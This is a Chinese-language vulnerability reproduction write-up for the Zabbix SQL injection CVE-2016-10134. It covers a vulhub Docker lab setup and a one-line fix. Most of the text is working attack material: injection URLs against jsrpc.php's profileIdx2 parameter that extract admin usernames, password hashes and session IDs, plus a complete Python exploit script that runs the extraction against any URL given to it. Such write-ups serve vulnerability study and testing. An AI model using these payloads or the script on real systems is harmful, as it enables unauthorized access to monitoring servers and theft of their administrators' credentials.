漏洞信息

漏洞分析

zabbix是一个开源的企业级性能监控解决方案。近日，zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞，攻击者无需授权登陆即可登陆zabbix管理系统，也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。 但是无需登录注入这里有个前提，就是zabbix开启了guest权限。而在zabbix中，guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

攻击成本：低
危害程度：高
是否登陆：不需要
影响范围：2.2.x, 3.0.0-3.0.3。（其他版本未经测试）

漏洞重现

靶机环境搭建

#启动docker
systemctl start docker

#下载vulhub
git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git

#进入对应目录
cd vulhub/zabbix/CVE-2016-10134/

#启动容器
docker-compose up -d

#查看容器
docker ps    

访问地址：http://45.32.28.9:8080

漏洞利用

1.用账号guest（密码为空）登陆游客账户

2.登录后,查看Cookie中的zbx_sessionid

复制后16位字符,将这16个字符作为sid的值，浏览器直接访问

http://45.32.28.9:8080/latest.php?output=ajax&sid=8cc63c00542a1f15&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

可见成功注入

以下注入通过jsrpc.php触发,且无需登录,在攻击机访问的zabbix的地址后面加上如下url:

http://45.32.28.9:8080/jsrpc.php?sid=8cc63c00542a1f15&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%273297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

! 叮咚: 输出结果，若包含：You have an error in your SQL syntax;表示漏洞存在。

接下来就可以利用jsrpc的profileIdx2参数sql注入获取用户名和密码,具体操作如下:

#获取用户名
http://45.32.28.9:8080/jsrpc.php?sid=8cc63c00542a1f15&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
#获取密码hash
http://45.32.28.9:8080/jsrpc.php?sid=8cc63c00542a1f15&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
#直接获取用户名及密码hash
http://45.32.28.9:8080/jsrpc.php?sid=8cc63c00542a1f15&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20concat(name,0x3a,passwd)%20from%20%20users%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
#获取sessionid
http://45.32.28.9:8080/jsrpc.php？id=8cc63c00542a1f15&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17

外挂

直接使用poc获取相关用户名，密码和sessionid

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2020/07/14
# Modified by: Genius Mingo

import urllib2
import sys, os
import re

def deteck_Sql():
    u'检查是否存在 SQL 注入'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
            return True


def sql_Inject(sql):
    u'获取特定sql语句内容'
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
        results = result_reg.findall(response)
        if results:
            return results[0]


if __name__ == '__main__':
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print u'\t   Python Zabbix < 3.0.4 SQL 注入 Exploit'
    print '\t    Origin Author: https://if010.com/'
    print '\t\t   Modified by: Genius Mingo'
    print '\t\t   Date: 2020-07-14'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 2:
        print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'
        print u'实例: ' + os.path.basename(sys.argv[0]) + ' http://zabbix.if010.com'
        sys.exit()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    if deteck_Sql():
        print u'Zabbix 存在 SQL 注入漏洞！\n'
        print u'管理员  用户名密码：%s' % sql_Inject(passwd_sql)
        print u'管理员  Session_id：%s' % sql_Inject(session_sql)
    else:
        print u'Zabbix 不存在 SQL 注入漏洞！\n'

修复方案

尽快升级到最新版，3.0.4的版本是已经修补，但还是建议更新到最新版本